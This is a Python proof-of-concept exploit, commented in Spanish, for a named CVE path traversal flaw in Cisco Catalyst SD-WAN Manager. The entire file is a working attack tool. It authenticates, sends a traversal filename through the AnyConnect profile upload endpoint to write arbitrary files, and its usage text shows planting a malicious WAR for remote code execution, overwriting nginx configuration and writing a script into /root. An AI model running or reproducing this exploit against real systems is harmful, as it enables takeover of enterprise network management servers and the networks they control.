#!/usr/bin/env python3 """ CVE-2026-20262 - Cisco Catalyst SD-WAN Manager Arbitrary File Write Path Traversal Vulnerability (CWE-22) - Authenticated Remote File Write Uso: python3 cve_2026_20262_poc.py Ejemplo: python3 cve_2026_20262_poc.py https://vmanage.example.com admin password evil.war ../../../../var/lib/wildfly/standalone/deployments/evil.war """ import requests import argparse import sys import re from urllib.parse import urljoin from requests.packages.urllib3.exceptions import InsecureRequestWarning # Deshabilitar warnings SSL requests.packages.urllib3.disable_warnings(InsecureRequestWarning) class CVE_2026_20262_Exploit: """ Exploit para CVE-2026-20262 en Cisco Catalyst SD-WAN Manager Permite a un atacante autenticado escribir archivos arbitrarios mediante path traversal """ def __init__(self, target_url, username, password, verify_ssl=False): self.target_url = target_url.rstrip('/') self.session = requests.Session() self.session.verify = verify_ssl self.session.headers.update({ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' }) self.username = username self.password = password self.token = None self.cookie = None def login(self): """ Autenticación en Cisco Catalyst SD-WAN Manager (vManage) Obtiene el token de sesión y cookie necesarios para las peticiones API """ print(f"[*] Autenticando en {self.target_url} con usuario: {self.username}") login_url = urljoin(self.target_url, '/j_security_check') # Credenciales para el formulario de login login_data = { 'j_username': self.username, 'j_password': self.password } try: # Realizar login resp = self.session.post(login_url, data=login_data, allow_redirects=True) if resp.status_code == 200: # Extraer token CSRF y cookie de sesión match = re.search(r'"token":"([^"]+)"', resp.text) if match: self.token = match.group(1) print(f"[+] Token CSRF obtenido: {self.token[:20]}...") # Verificar si el login fue exitoso if 'XSRF-TOKEN' in self.session.cookies: print("[+] Autenticación exitosa") return True else: print("[-] No se pudo obtener el token de sesión") return False else: print(f"[-] Error de autenticación: {resp.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Error de conexión: {e}") return False def exploit(self, local_file_path, remote_path): """ Explota la vulnerabilidad de path traversal para escribir archivos arbitrarios La vulnerabilidad reside en el endpoint de carga de perfiles de AnyConnect: /dataservice/settings/sdra/anyconnect/profile?action=upload El parámetro 'filename' no está sanitizado y permite path traversal. """ print(f"[*] Intentando subir archivo a: {remote_path}") # Leer archivo local try: with open(local_file_path, 'rb') as f: file_content = f.read() except FileNotFoundError: print(f"[-] Archivo local no encontrado: {local_file_path}") return False except Exception as e: print(f"[-] Error leyendo archivo: {e}") return False # Endpoint vulnerable (según advisory de Cisco y evidencias de IOCs) # El handler SdraAnyConnectFileUploadHandler permite path traversal upload_url = urljoin(self.target_url, '/dataservice/settings/sdra/anyconnect/profile') # Headers necesarios para la petición autenticada headers = { 'Content-Type': 'multipart/form-data; boundary=----WebKitFormBoundary', 'Accept': 'application/json', 'X-XSRF-TOKEN': self.token, 'Cookie': f'XSRF-TOKEN={self.token}' } # Construir multipart form data con path traversal en filename boundary = '----WebKitFormBoundary' form_data = ( f'--{boundary}\r\n' f'Content-Disposition: form-data; name="profile"; filename="{remote_path}"\r\n' f'Content-Type: application/octet-stream\r\n\r\n' ) form_data = form_data.encode() + file_content + f'\r\n--{boundary}--\r\n'.encode() try: resp = self.session.post( upload_url, data=form_data, headers=headers, verify=False ) print(f"[+] Petición enviada (código: {resp.status_code})") # Verificar si el archivo fue creado correctamente # El IOC en vmanage-server.log mostrará: # uploaded Remote Access Anyconnect profile file: ../../../../var/lib/wildfly/standalone/deployments/suspicious.war if resp.status_code in [200, 201, 204]: print(f"[+] Archivo escrito exitosamente en: {remote_path}") print(f"[*] Respuesta del servidor: {resp.text[:200]}") return True else: print(f"[-] Fallo al escribir archivo. Código: {resp.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Error de conexión: {e}") return False def verify_file_exists(self, remote_path): """ Verifica si el archivo fue escrito correctamente intentando accederlo Nota: Esto puede generar logs adicionales y depende de permisos de lectura """ verify_url = urljoin(self.target_url, f'/dataservice/file/read?path={remote_path}') try: resp = self.session.get(verify_url) if resp.status_code == 200: print(f"[+] Archivo existe en: {remote_path}") return True else: print(f"[-] Archivo no accesible o no existe: {resp.status_code}") return False except Exception: return False def main(): parser = argparse.ArgumentParser( description='CVE-2026-20262 - Cisco Catalyst SD-WAN Manager Arbitrary File Write', epilog=''' Ejemplos de uso: Subir un archivo WAR malicioso a WildFly para RCE: python3 %(prog)s https://vmanage.example.com admin password evil.war ../../../../var/lib/wildfly/standalone/deployments/evil.war Sobrescribir archivo de configuración: python3 %(prog)s https://vmanage.example.com admin password evil.conf ../../../../etc/nginx/conf.d/evil.conf Escribir en directorio de inicio: python3 %(prog)s https://vmanage.example.com admin password evil.sh ../../../../root/evil.sh Advertencia: El archivo debe existir localmente. La ruta remota debe ser absoluta o relativa. ''', formatter_class=argparse.RawDescriptionHelpFormatter ) parser.add_argument('target', help='URL del objetivo (ej: https://vmanage.example.com)') parser.add_argument('username', help='Nombre de usuario con permisos de escritura') parser.add_argument('password', help='Contraseña del usuario') parser.add_argument('local_file', help='Ruta al archivo local a subir') parser.add_argument('remote_path', help='Ruta remota donde escribir el archivo (con path traversal)') parser.add_argument('--verify', action='store_true', help='Verificar si el archivo fue escrito correctamente') args = parser.parse_args() print("=" * 70) print("CVE-2026-20262 - Cisco Catalyst SD-WAN Manager Arbitrary File Write") print("=" * 70) print(f"Objetivo: {args.target}") print(f"Usuario: {args.username}") print(f"Archivo local: {args.local_file}") print(f"Ruta remota: {args.remote_path}") print("=" * 70) exploit = CVE_2026_20262_Exploit(args.target, args.username, args.password) # Paso 1: Autenticación if not exploit.login(): print("[-] Falló la autenticación. Verificar credenciales.") sys.exit(1) # Paso 2: Ejecutar exploit print("\n[*] Ejecutando exploit...") success = exploit.exploit(args.local_file, args.remote_path) if success: print("\n[+] ¡Exploit ejecutado exitosamente!") print("[!] Revisar logs para confirmar:") print(" - /var/log/nms/vmanage-server.log") print(" - /var/log/nms/vmanage-appserver.log") if args.verify: exploit.verify_file_exists(args.remote_path) print("\n[!] Si se subió un archivo WAR, verificar despliegue en:") print(f" {args.target}/evil/index.jsp") else: print("\n[-] El exploit pudo no haber funcionado.") print("[*] Verificar:") print(" 1. Credenciales válidas con permisos de escritura") print(" 2. El endpoint de carga está accesible") print(" 3. La versión de Cisco Catalyst SD-WAN Manager es vulnerable") sys.exit(1) if __name__ == "__main__": main()